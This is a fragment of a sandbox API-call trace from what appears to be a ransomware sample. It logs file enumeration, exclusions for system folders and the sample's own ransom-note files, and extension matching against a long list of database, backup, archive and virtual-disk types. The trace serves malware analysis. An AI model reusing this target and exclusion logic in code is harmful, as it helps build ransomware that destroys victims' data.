	[0036.278] lstrlenW (lpString="4dl") returned 3
	[0036.279] lstrcmpiW (lpString1="LOG", lpString2="4dl") returned 1
	[0036.279] lstrlenW (lpString="^^^") returned 3
	[0036.279] lstrcmpiW (lpString1="LOG", lpString2="^^^") returned 1
	[0036.279] lstrlenW (lpString="abs") returned 3
	[0036.279] lstrcmpiW (lpString1="LOG", lpString2="abs") returned 1
	[0036.279] lstrlenW (lpString="abx") returned 3
	[0036.279] lstrcmpiW (lpString1="LOG", lpString2="abx") returned 1
	[0036.279] lstrlenW (lpString="accdb") returned 5
	[0036.279] lstrcmpiW (lpString1="T.LOG", lpString2="accdb") returned 1
	[0036.279] lstrlenW (lpString="accdc") returned 5
	[0036.279] lstrcmpiW (lpString1="T.LOG", lpString2="accdc") returned 1
	[0036.279] lstrlenW (lpString="accde") returned 5
	[0036.279] lstrcmpiW (lpString1="T.LOG", lpString2="accde") returned 1
	[0036.279] lstrlenW (lpString="accdr") returned 5
	[0036.279] lstrcmpiW (lpString1="T.LOG", lpString2="accdr") returned 1
	[0036.279] lstrlenW (lpString="accdt") returned 5
	[0036.279] lstrcmpiW (lpString1="T.LOG", lpString2="accdt") returned 1
	[0036.279] lstrlenW (lpString="accdw") returned 5
	[0036.279] lstrcmpiW (lpString1="T.LOG", lpString2="accdw") returned 1
	[0036.279] lstrlenW (lpString="accft") returned 5
	[0036.279] lstrcmpiW (lpString1="T.LOG", lpString2="accft") returned 1
	[0036.279] lstrlenW (lpString="adb") returned 3
	[0036.279] lstrcmpiW (lpString1="LOG", lpString2="adb") returned 1
	[0036.279] lstrlenW (lpString="adb") returned 3
	[0036.279] lstrcmpiW (lpString1="LOG", lpString2="adb") returned 1
	[0036.279] lstrlenW (lpString="ade") returned 3
	[0036.279] lstrcmpiW (lpString1="LOG", lpString2="ade") returned 1
	[0036.279] lstrlenW (lpString="adf") returned 3
	[0036.279] lstrcmpiW (lpString1="LOG", lpString2="adf") returned 1
	[0036.279] lstrlenW (lpString="adn") returned 3
	[0036.279] lstrcmpiW (lpString1="LOG", lpString2="adn") returned 1
	[0036.279] lstrlenW (lpString="adp") returned 3
	[0036.279] lstrcmpiW (lpString1="LOG", lpString2="adp") returned 1
	[0036.279] lstrlenW (lpString="alf") returned 3
	[0036.279] lstrcmpiW (lpString1="LOG", lpString2="alf") returned 1
	[0036.279] lstrlenW (lpString="ask") returned 3
	[0036.279] lstrcmpiW (lpString1="LOG", lpString2="ask") returned 1
	[0036.279] lstrlenW (lpString="btr") returned 3
	[0036.280] lstrcmpiW (lpString1="LOG", lpString2="btr") returned 1
	[0036.280] lstrlenW (lpString="cat") returned 3
	[0036.280] lstrcmpiW (lpString1="LOG", lpString2="cat") returned 1
	[0036.280] lstrlenW (lpString="cdb") returned 3
	[0036.280] lstrcmpiW (lpString1="LOG", lpString2="cdb") returned 1
	[0036.280] lstrlenW (lpString="ckp") returned 3
	[0036.280] lstrcmpiW (lpString1="LOG", lpString2="ckp") returned 1
	[0036.280] lstrlenW (lpString="cma") returned 3
	[0036.280] lstrcmpiW (lpString1="LOG", lpString2="cma") returned 1
	[0036.280] lstrlenW (lpString="cpd") returned 3
	[0036.280] lstrcmpiW (lpString1="LOG", lpString2="cpd") returned 1
	[0036.280] lstrlenW (lpString="dacpac") returned 6
	[0036.280] lstrcmpiW (lpString1="AT.LOG", lpString2="dacpac") returned -1
	[0036.280] lstrlenW (lpString="dad") returned 3
	[0036.280] lstrcmpiW (lpString1="LOG", lpString2="dad") returned 1
	[0036.280] lstrlenW (lpString="dadiagrams") returned 10
	[0036.280] lstrcmpiW (lpString1="ER.DAT.LOG", lpString2="dadiagrams") returned 1
	[0036.280] lstrlenW (lpString="daschema") returned 8
	[0036.280] lstrcmpiW (lpString1=".DAT.LOG", lpString2="daschema") returned -1
	[0036.280] lstrlenW (lpString="db-journal") returned 10
	[0036.280] lstrcmpiW (lpString1="ER.DAT.LOG", lpString2="db-journal") returned 1
	[0036.280] lstrlenW (lpString="db-shm") returned 6
	[0036.280] lstrcmpiW (lpString1="AT.LOG", lpString2="db-shm") returned -1
	[0036.280] lstrlenW (lpString="db-wal") returned 6
	[0036.280] lstrcmpiW (lpString1="AT.LOG", lpString2="db-wal") returned -1
	[0036.280] lstrlenW (lpString="dbc") returned 3
	[0036.280] lstrcmpiW (lpString1="LOG", lpString2="dbc") returned 1
	[0036.280] lstrlenW (lpString="dbs") returned 3
	[0036.280] lstrcmpiW (lpString1="LOG", lpString2="dbs") returned 1
	[0036.280] lstrlenW (lpString="dbt") returned 3
	[0036.280] lstrcmpiW (lpString1="LOG", lpString2="dbt") returned 1
	[0036.280] lstrlenW (lpString="dbv") returned 3
	[0036.280] lstrcmpiW (lpString1="LOG", lpString2="dbv") returned 1
	[0036.280] lstrlenW (lpString="dbx") returned 3
	[0036.280] lstrcmpiW (lpString1="LOG", lpString2="dbx") returned 1
	[0036.280] lstrlenW (lpString="dcb") returned 3
	[0036.280] lstrcmpiW (lpString1="LOG", lpString2="dcb") returned 1
	[0036.280] lstrlenW (lpString="dct") returned 3
	[0036.281] lstrcmpiW (lpString1="LOG", lpString2="dct") returned 1
	[0036.281] lstrlenW (lpString="dcx") returned 3
	[0036.281] lstrcmpiW (lpString1="LOG", lpString2="dcx") returned 1
	[0036.281] lstrlenW (lpString="ddl") returned 3
	[0036.281] lstrcmpiW (lpString1="LOG", lpString2="ddl") returned 1
	[0036.281] lstrlenW (lpString="dlis") returned 4
	[0036.281] lstrcmpiW (lpString1=".LOG", lpString2="dlis") returned -1
	[0036.281] lstrlenW (lpString="dp1") returned 3
	[0036.281] lstrcmpiW (lpString1="LOG", lpString2="dp1") returned 1
	[0036.281] lstrlenW (lpString="dqy") returned 3
	[0036.281] lstrcmpiW (lpString1="LOG", lpString2="dqy") returned 1
	[0036.281] lstrlenW (lpString="dsk") returned 3
	[0036.281] lstrcmpiW (lpString1="LOG", lpString2="dsk") returned 1
	[0036.281] lstrlenW (lpString="dsn") returned 3
	[0036.281] lstrcmpiW (lpString1="LOG", lpString2="dsn") returned 1
	[0036.281] lstrlenW (lpString="dtsx") returned 4
	[0036.281] lstrcmpiW (lpString1=".LOG", lpString2="dtsx") returned -1
	[0036.281] lstrlenW (lpString="dxl") returned 3
	[0036.281] lstrcmpiW (lpString1="LOG", lpString2="dxl") returned 1
	[0036.281] lstrlenW (lpString="eco") returned 3
	[0036.281] lstrcmpiW (lpString1="LOG", lpString2="eco") returned 1
	[0036.281] lstrlenW (lpString="ecx") returned 3
	[0036.281] lstrcmpiW (lpString1="LOG", lpString2="ecx") returned 1
	[0036.281] lstrlenW (lpString="edb") returned 3
	[0036.281] lstrcmpiW (lpString1="LOG", lpString2="edb") returned 1
	[0036.281] lstrlenW (lpString="epim") returned 4
	[0036.281] lstrcmpiW (lpString1=".LOG", lpString2="epim") returned -1
	[0036.281] lstrlenW (lpString="fcd") returned 3
	[0036.281] lstrcmpiW (lpString1="LOG", lpString2="fcd") returned 1
	[0036.281] lstrlenW (lpString="fdb") returned 3
	[0036.281] lstrcmpiW (lpString1="LOG", lpString2="fdb") returned 1
	[0036.281] lstrlenW (lpString="fic") returned 3
	[0036.281] lstrcmpiW (lpString1="LOG", lpString2="fic") returned 1
	[0036.281] lstrlenW (lpString="flexolibrary") returned 12
	[0036.281] lstrcmpiW (lpString1="USER.DAT.LOG", lpString2="flexolibrary") returned 1
	[0036.281] lstrlenW (lpString="fm5") returned 3
	[0036.281] lstrcmpiW (lpString1="LOG", lpString2="fm5") returned 1
	[0036.282] lstrlenW (lpString="fmp") returned 3
	[0036.282] lstrcmpiW (lpString1="LOG", lpString2="fmp") returned 1
	[0036.282] lstrlenW (lpString="fmp12") returned 5
	[0036.282] lstrcmpiW (lpString1="T.LOG", lpString2="fmp12") returned 1
	[0036.282] lstrlenW (lpString="fmpsl") returned 5
	[0036.282] lstrcmpiW (lpString1="T.LOG", lpString2="fmpsl") returned 1
	[0036.282] lstrlenW (lpString="fol") returned 3
	[0036.282] lstrcmpiW (lpString1="LOG", lpString2="fol") returned 1
	[0036.282] lstrlenW (lpString="fp3") returned 3
	[0036.282] lstrcmpiW (lpString1="LOG", lpString2="fp3") returned 1
	[0036.282] lstrlenW (lpString="fp4") returned 3
	[0036.282] lstrcmpiW (lpString1="LOG", lpString2="fp4") returned 1
	[0036.282] lstrlenW (lpString="fp5") returned 3
	[0036.282] lstrcmpiW (lpString1="LOG", lpString2="fp5") returned 1
	[0036.282] lstrlenW (lpString="fp7") returned 3
	[0036.282] lstrcmpiW (lpString1="LOG", lpString2="fp7") returned 1
	[0036.282] lstrlenW (lpString="fpt") returned 3
	[0036.282] lstrcmpiW (lpString1="LOG", lpString2="fpt") returned 1
	[0036.282] lstrlenW (lpString="frm") returned 3
	[0036.282] lstrcmpiW (lpString1="LOG", lpString2="frm") returned 1
	[0036.282] lstrlenW (lpString="gdb") returned 3
	[0036.282] lstrcmpiW (lpString1="LOG", lpString2="gdb") returned 1
	[0036.282] lstrlenW (lpString="gdb") returned 3
	[0036.282] lstrcmpiW (lpString1="LOG", lpString2="gdb") returned 1
	[0036.282] lstrlenW (lpString="grdb") returned 4
	[0036.282] lstrcmpiW (lpString1=".LOG", lpString2="grdb") returned -1
	[0036.282] lstrlenW (lpString="gwi") returned 3
	[0036.282] lstrcmpiW (lpString1="LOG", lpString2="gwi") returned 1
	[0036.282] lstrlenW (lpString="hdb") returned 3
	[0036.282] lstrcmpiW (lpString1="LOG", lpString2="hdb") returned 1
	[0036.282] lstrlenW (lpString="his") returned 3
	[0036.282] lstrcmpiW (lpString1="LOG", lpString2="his") returned 1
	[0036.282] lstrlenW (lpString="ib") returned 2
	[0036.282] lstrcmpiW (lpString1="OG", lpString2="ib") returned 1
	[0036.282] lstrlenW (lpString="idb") returned 3
	[0036.282] lstrcmpiW (lpString1="LOG", lpString2="idb") returned 1
	[0036.282] lstrlenW (lpString="ihx") returned 3
	[0036.282] lstrcmpiW (lpString1="LOG", lpString2="ihx") returned 1
	[0036.283] lstrlenW (lpString="itdb") returned 4
	[0036.283] lstrcmpiW (lpString1=".LOG", lpString2="itdb") returned -1
	[0036.283] lstrlenW (lpString="itw") returned 3
	[0036.283] lstrcmpiW (lpString1="LOG", lpString2="itw") returned 1
	[0036.283] lstrlenW (lpString="jet") returned 3
	[0036.283] lstrcmpiW (lpString1="LOG", lpString2="jet") returned 1
	[0036.283] lstrlenW (lpString="jtx") returned 3
	[0036.283] lstrcmpiW (lpString1="LOG", lpString2="jtx") returned 1
	[0036.283] lstrlenW (lpString="kdb") returned 3
	[0036.283] lstrcmpiW (lpString1="LOG", lpString2="kdb") returned 1
	[0036.283] lstrlenW (lpString="kexi") returned 4
	[0036.283] lstrcmpiW (lpString1=".LOG", lpString2="kexi") returned -1
	[0036.283] lstrlenW (lpString="kexic") returned 5
	[0036.283] lstrcmpiW (lpString1="T.LOG", lpString2="kexic") returned 1
	[0036.283] lstrlenW (lpString="kexis") returned 5
	[0036.283] lstrcmpiW (lpString1="T.LOG", lpString2="kexis") returned 1
	[0036.283] lstrlenW (lpString="lgc") returned 3
	[0036.283] lstrcmpiW (lpString1="LOG", lpString2="lgc") returned 1
	[0036.283] lstrlenW (lpString="lwx") returned 3
	[0036.283] lstrcmpiW (lpString1="LOG", lpString2="lwx") returned -1
	[0036.283] lstrlenW (lpString="maf") returned 3
	[0036.283] lstrcmpiW (lpString1="LOG", lpString2="maf") returned -1
	[0036.283] lstrlenW (lpString="maq") returned 3
	[0036.283] lstrcmpiW (lpString1="LOG", lpString2="maq") returned -1
	[0036.283] lstrlenW (lpString="mar") returned 3
	[0036.283] lstrcmpiW (lpString1="LOG", lpString2="mar") returned -1
	[0036.283] lstrlenW (lpString="marshal") returned 7
	[0036.283] lstrcmpiW (lpString1="DAT.LOG", lpString2="marshal") returned -1
	[0036.283] lstrlenW (lpString="mas") returned 3
	[0036.283] lstrcmpiW (lpString1="LOG", lpString2="mas") returned -1
	[0036.283] lstrlenW (lpString="mav") returned 3
	[0036.283] lstrcmpiW (lpString1="LOG", lpString2="mav") returned -1
	[0036.283] lstrlenW (lpString="maw") returned 3
	[0036.283] lstrcmpiW (lpString1="LOG", lpString2="maw") returned -1
	[0036.283] lstrlenW (lpString="mdbhtml") returned 7
	[0036.283] lstrcmpiW (lpString1="DAT.LOG", lpString2="mdbhtml") returned -1
	[0036.283] lstrlenW (lpString="mdn") returned 3
	[0036.283] lstrcmpiW (lpString1="LOG", lpString2="mdn") returned -1
	[0036.284] lstrlenW (lpString="mdt") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="mdt") returned -1
	[0036.284] lstrlenW (lpString="mfd") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="mfd") returned -1
	[0036.284] lstrlenW (lpString="mpd") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="mpd") returned -1
	[0036.284] lstrlenW (lpString="mrg") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="mrg") returned -1
	[0036.284] lstrlenW (lpString="mud") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="mud") returned -1
	[0036.284] lstrlenW (lpString="mwb") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="mwb") returned -1
	[0036.284] lstrlenW (lpString="myd") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="myd") returned -1
	[0036.284] lstrlenW (lpString="ndf") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="ndf") returned -1
	[0036.284] lstrlenW (lpString="nnt") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="nnt") returned -1
	[0036.284] lstrlenW (lpString="nrmlib") returned 6
	[0036.284] lstrcmpiW (lpString1="AT.LOG", lpString2="nrmlib") returned -1
	[0036.284] lstrlenW (lpString="ns2") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="ns2") returned -1
	[0036.284] lstrlenW (lpString="ns3") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="ns3") returned -1
	[0036.284] lstrlenW (lpString="ns4") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="ns4") returned -1
	[0036.284] lstrlenW (lpString="nsf") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="nsf") returned -1
	[0036.284] lstrlenW (lpString="nv") returned 2
	[0036.284] lstrcmpiW (lpString1="OG", lpString2="nv") returned 1
	[0036.284] lstrlenW (lpString="nv2") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="nv2") returned -1
	[0036.284] lstrlenW (lpString="nwdb") returned 4
	[0036.284] lstrcmpiW (lpString1=".LOG", lpString2="nwdb") returned -1
	[0036.284] lstrlenW (lpString="nyf") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="nyf") returned -1
	[0036.284] lstrlenW (lpString="odb") returned 3
	[0036.284] lstrcmpiW (lpString1="LOG", lpString2="odb") returned -1
	[0036.285] lstrlenW (lpString="odb") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="odb") returned -1
	[0036.285] lstrlenW (lpString="oqy") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="oqy") returned -1
	[0036.285] lstrlenW (lpString="ora") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="ora") returned -1
	[0036.285] lstrlenW (lpString="orx") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="orx") returned -1
	[0036.285] lstrlenW (lpString="owc") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="owc") returned -1
	[0036.285] lstrlenW (lpString="p96") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="p96") returned -1
	[0036.285] lstrlenW (lpString="p97") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="p97") returned -1
	[0036.285] lstrlenW (lpString="pan") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="pan") returned -1
	[0036.285] lstrlenW (lpString="pdb") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="pdb") returned -1
	[0036.285] lstrlenW (lpString="pdm") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="pdm") returned -1
	[0036.285] lstrlenW (lpString="pnz") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="pnz") returned -1
	[0036.285] lstrlenW (lpString="qry") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="qry") returned -1
	[0036.285] lstrlenW (lpString="qvd") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="qvd") returned -1
	[0036.285] lstrlenW (lpString="rbf") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="rbf") returned -1
	[0036.285] lstrlenW (lpString="rctd") returned 4
	[0036.285] lstrcmpiW (lpString1=".LOG", lpString2="rctd") returned -1
	[0036.285] lstrlenW (lpString="rod") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="rod") returned -1
	[0036.285] lstrlenW (lpString="rodx") returned 4
	[0036.285] lstrcmpiW (lpString1=".LOG", lpString2="rodx") returned -1
	[0036.285] lstrlenW (lpString="rpd") returned 3
	[0036.285] lstrcmpiW (lpString1="LOG", lpString2="rpd") returned -1
	[0036.285] lstrlenW (lpString="rsd") returned 3
	[0036.286] lstrcmpiW (lpString1="LOG", lpString2="rsd") returned -1
	[0036.286] lstrlenW (lpString="sas7bdat") returned 8
	[0036.286] lstrcmpiW (lpString1=".DAT.LOG", lpString2="sas7bdat") returned -1
	[0036.286] lstrlenW (lpString="sbf") returned 3
	[0036.286] lstrcmpiW (lpString1="LOG", lpString2="sbf") returned -1
	[0036.286] lstrlenW (lpString="scx") returned 3
	[0036.286] lstrcmpiW (lpString1="LOG", lpString2="scx") returned -1
	[0036.286] lstrlenW (lpString="sdb") returned 3
	[0036.286] lstrcmpiW (lpString1="LOG", lpString2="sdb") returned -1
	[0036.286] lstrlenW (lpString="sdc") returned 3
	[0036.286] lstrcmpiW (lpString1="LOG", lpString2="sdc") returned -1
	[0036.286] lstrlenW (lpString="sdf") returned 3
	[0036.286] lstrcmpiW (lpString1="LOG", lpString2="sdf") returned -1
	[0036.286] lstrlenW (lpString="sis") returned 3
	[0036.286] lstrcmpiW (lpString1="LOG", lpString2="sis") returned -1
	[0036.286] lstrlenW (lpString="spq") returned 3
	[0036.286] lstrcmpiW (lpString1="LOG", lpString2="spq") returned -1
	[0036.286] lstrlenW (lpString="te") returned 2
	[0036.286] lstrcmpiW (lpString1="OG", lpString2="te") returned -1
	[0036.286] lstrlenW (lpString="teacher") returned 7
	[0036.286] lstrcmpiW (lpString1="DAT.LOG", lpString2="teacher") returned -1
	[0036.286] lstrlenW (lpString="tmd") returned 3
	[0036.286] lstrcmpiW (lpString1="LOG", lpString2="tmd") returned -1
	[0036.286] lstrlenW (lpString="tps") returned 3
	[0036.286] lstrcmpiW (lpString1="LOG", lpString2="tps") returned -1
	[0036.286] lstrlenW (lpString="trc") returned 3
	[0036.287] lstrcmpiW (lpString1="LOG", lpString2="trc") returned -1
	[0036.287] lstrlenW (lpString="trc") returned 3
	[0036.287] lstrcmpiW (lpString1="LOG", lpString2="trc") returned -1
	[0036.287] lstrlenW (lpString="trm") returned 3
	[0036.287] lstrcmpiW (lpString1="LOG", lpString2="trm") returned -1
	[0036.287] lstrlenW (lpString="udb") returned 3
	[0036.287] lstrcmpiW (lpString1="LOG", lpString2="udb") returned -1
	[0036.287] lstrlenW (lpString="udl") returned 3
	[0036.287] lstrcmpiW (lpString1="LOG", lpString2="udl") returned -1
	[0036.287] lstrlenW (lpString="usr") returned 3
	[0036.287] lstrcmpiW (lpString1="LOG", lpString2="usr") returned -1
	[0036.287] lstrlenW (lpString="v12") returned 3
	[0036.287] lstrcmpiW (lpString1="LOG", lpString2="v12") returned -1
	[0036.287] lstrlenW (lpString="vis") returned 3
	[0036.287] lstrcmpiW (lpString1="LOG", lpString2="vis") returned -1
	[0036.287] lstrlenW (lpString="vpd") returned 3
	[0036.287] lstrcmpiW (lpString1="LOG", lpString2="vpd") returned -1
	[0036.287] lstrlenW (lpString="vvv") returned 3
	[0036.287] lstrcmpiW (lpString1="LOG", lpString2="vvv") returned -1
	[0036.287] lstrlenW (lpString="wdb") returned 3
	[0036.287] lstrcmpiW (lpString1="LOG", lpString2="wdb") returned -1
	[0036.287] lstrlenW (lpString="wmdb") returned 4
	[0036.287] lstrcmpiW (lpString1=".LOG", lpString2="wmdb") returned -1
	[0036.287] lstrlenW (lpString="wrk") returned 3
	[0036.287] lstrcmpiW (lpString1="LOG", lpString2="wrk") returned -1
	[0036.287] lstrlenW (lpString="xdb") returned 3
	[0036.287] lstrcmpiW (lpString1="LOG", lpString2="xdb") returned -1
	[0036.287] lstrlenW (lpString="xld") returned 3
	[0036.287] lstrcmpiW (lpString1="LOG", lpString2="xld") returned -1
	[0036.287] lstrlenW (lpString="xmlff") returned 5
	[0036.287] lstrcmpiW (lpString1="T.LOG", lpString2="xmlff") returned -1
	[0036.287] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x674ac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1
	[0036.287] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.287] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="Apollon865.txt.exe") returned 1
	[0036.287] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2=".") returned 1
	[0036.287] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="..") returned 1
	[0036.287] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="windows") returned -1
	[0036.287] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="bootmgr") returned 1
	[0036.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="temp") returned -1
	[0036.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="pagefile.sys") returned -1
	[0036.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="boot") returned 1
	[0036.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="ids.txt") returned 1
	[0036.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="ntuser.dat") returned 1
	[0036.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="perflogs") returned -1
	[0036.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="MSBuild") returned 1
	[0036.288] lstrlenW (lpString="NTUSER.DAT.LOG1") returned 15
	[0036.288] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT.LOG") returned 31
	[0036.288] lstrcpyW (in: lpString1=0x2d3e572, lpString2="NTUSER.DAT.LOG1" | out: lpString1="NTUSER.DAT.LOG1") returned="NTUSER.DAT.LOG1"
	[0036.288] lstrlenW (lpString="NTUSER.DAT.LOG1") returned 15
	[0036.288] lstrlenW (lpString="Apollon865") returned 10
	[0036.288] lstrcmpiW (lpString1="R.DAT.LOG1", lpString2="Apollon865") returned 1
	[0036.288] lstrlenW (lpString=".dll") returned 4
	[0036.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2=".dll") returned 1
	[0036.288] lstrlenW (lpString=".lnk") returned 4
	[0036.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2=".lnk") returned 1
	[0036.288] lstrlenW (lpString=".ini") returned 4
	[0036.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2=".ini") returned 1
	[0036.288] lstrlenW (lpString=".sys") returned 4
	[0036.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2=".sys") returned 1
	[0036.288] lstrlenW (lpString="NTUSER.DAT.LOG1") returned 15
	[0036.288] lstrlenW (lpString="bak") returned 3
	[0036.288] lstrcmpiW (lpString1="OG1", lpString2="bak") returned 1
	[0036.288] lstrlenW (lpString="ba_") returned 3
	[0036.288] lstrcmpiW (lpString1="OG1", lpString2="ba_") returned 1
	[0036.288] lstrlenW (lpString="dbb") returned 3
	[0036.288] lstrcmpiW (lpString1="OG1", lpString2="dbb") returned 1
	[0036.288] lstrlenW (lpString="vmdk") returned 4
	[0036.288] lstrcmpiW (lpString1="LOG1", lpString2="vmdk") returned -1
	[0036.288] lstrlenW (lpString="rar") returned 3
	[0036.288] lstrcmpiW (lpString1="OG1", lpString2="rar") returned -1
	[0036.288] lstrlenW (lpString="zip") returned 3
	[0036.288] lstrcmpiW (lpString1="OG1", lpString2="zip") returned -1
	[0036.288] lstrlenW (lpString="tgz") returned 3
	[0036.288] lstrcmpiW (lpString1="OG1", lpString2="tgz") returned -1
	[0036.288] lstrlenW (lpString="vbox") returned 4
	[0036.289] lstrcmpiW (lpString1="LOG1", lpString2="vbox") returned -1
	[0036.289] lstrlenW (lpString="vdi") returned 3
	[0036.289] lstrcmpiW (lpString1="OG1", lpString2="vdi") returned -1
	[0036.289] lstrlenW (lpString="vhd") returned 3
	[0036.289] lstrcmpiW (lpString1="OG1", lpString2="vhd") returned -1
	[0036.289] lstrlenW (lpString="vhdx") returned 4
	[0036.289] lstrcmpiW (lpString1="LOG1", lpString2="vhdx") returned -1
	[0036.289] lstrlenW (lpString="avhd") returned 4
	[0036.289] lstrcmpiW (lpString1="LOG1", lpString2="avhd") returned 1
	[0036.289] lstrlenW (lpString="db") returned 2
	[0036.289] lstrcmpiW (lpString1="G1", lpString2="db") returned 1
	[0036.289] lstrlenW (lpString="db2") returned 3
	[0036.289] lstrcmpiW (lpString1="OG1", lpString2="db2") returned 1
	[0036.289] lstrlenW (lpString="db3") returned 3
	[0036.289] lstrcmpiW (lpString1="OG1", lpString2="db3") returned 1
	[0036.289] lstrlenW (lpString="dbf") returned 3
	[0036.289] lstrcmpiW (lpString1="OG1", lpString2="dbf") returned 1
	[0036.289] lstrlenW (lpString="mdf") returned 3
	[0036.289] lstrcmpiW (lpString1="OG1", lpString2="mdf") returned 1
	[0036.289] lstrlenW (lpString="mdb") returned 3
	[0036.289] lstrcmpiW (lpString1="OG1", lpString2="mdb") returned 1
	[0036.289] lstrlenW (lpString="sql") returned 3
	[0036.289] lstrcmpiW (lpString1="OG1", lpString2="sql") returned -1
	[0036.289] lstrlenW (lpString="sqlite") returned 6
	[0036.289] lstrcmpiW (lpString1="T.LOG1", lpString2="sqlite") returned 1
	[0036.289] lstrlenW (lpString="sqlite3") returned 7
	[0036.289] lstrcmpiW (lpString1="AT.LOG1", lpString2="sqlite3") returned -1
	[0036.289] lstrlenW (lpString="sqlitedb") returned 8
	[0036.289] lstrcmpiW (lpString1="DAT.LOG1", lpString2="sqlitedb") returned -1
	[0036.289] lstrlenW (lpString="xml") returned 3
	[0036.289] lstrcmpiW (lpString1="OG1", lpString2="xml") returned -1
	[0036.289] lstrlenW (lpString="$er") returned 3
	[0036.289] lstrcmpiW (lpString1="OG1", lpString2="$er") returned 1
	[0036.289] lstrlenW (lpString="4dd") returned 3
	[0036.289] lstrcmpiW (lpString1="OG1", lpString2="4dd") returned 1
	[0036.289] lstrlenW (lpString="4dl") returned 3
	[0036.289] lstrcmpiW (lpString1="OG1", lpString2="4dl") returned 1
	[0036.289] lstrlenW (lpString="^^^") returned 3
	[0036.290] lstrcmpiW (lpString1="OG1", lpString2="^^^") returned 1
	[0036.290] lstrlenW (lpString="abs") returned 3
	[0036.290] lstrcmpiW (lpString1="OG1", lpString2="abs") returned 1
	[0036.290] lstrlenW (lpString="abx") returned 3
	[0036.290] lstrcmpiW (lpString1="OG1", lpString2="abx") returned 1
	[0036.290] lstrlenW (lpString="accdb") returned 5
	[0036.290] lstrcmpiW (lpString1=".LOG1", lpString2="accdb") returned -1
	[0036.290] lstrlenW (lpString="accdc") returned 5
	[0036.290] lstrcmpiW (lpString1=".LOG1", lpString2="accdc") returned -1
	[0036.290] lstrlenW (lpString="accde") returned 5
	[0036.290] lstrcmpiW (lpString1=".LOG1", lpString2="accde") returned -1
	[0036.290] lstrlenW (lpString="accdr") returned 5
	[0036.290] lstrcmpiW (lpString1=".LOG1", lpString2="accdr") returned -1
	[0036.290] lstrlenW (lpString="accdt") returned 5
	[0036.290] lstrcmpiW (lpString1=".LOG1", lpString2="accdt") returned -1
	[0036.290] lstrlenW (lpString="accdw") returned 5
	[0036.290] lstrcmpiW (lpString1=".LOG1", lpString2="accdw") returned -1
	[0036.290] lstrlenW (lpString="accft") returned 5
	[0036.290] lstrcmpiW (lpString1=".LOG1", lpString2="accft") returned -1
	[0036.290] lstrlenW (lpString="adb") returned 3
	[0036.290] lstrcmpiW (lpString1="OG1", lpString2="adb") returned 1
	[0036.290] lstrlenW (lpString="adb") returned 3
	[0036.290] lstrcmpiW (lpString1="OG1", lpString2="adb") returned 1
	[0036.290] lstrlenW (lpString="ade") returned 3
	[0036.290] lstrcmpiW (lpString1="OG1", lpString2="ade") returned 1
	[0036.290] lstrlenW (lpString="adf") returned 3
	[0036.290] lstrcmpiW (lpString1="OG1", lpString2="adf") returned 1
	[0036.290] lstrlenW (lpString="adn") returned 3
